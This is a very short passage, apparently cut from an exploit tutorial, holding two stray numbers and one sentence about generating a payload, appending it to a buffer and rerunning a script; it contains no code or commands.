9652
9653This will generate a payload, append it to the buffer and run the script again.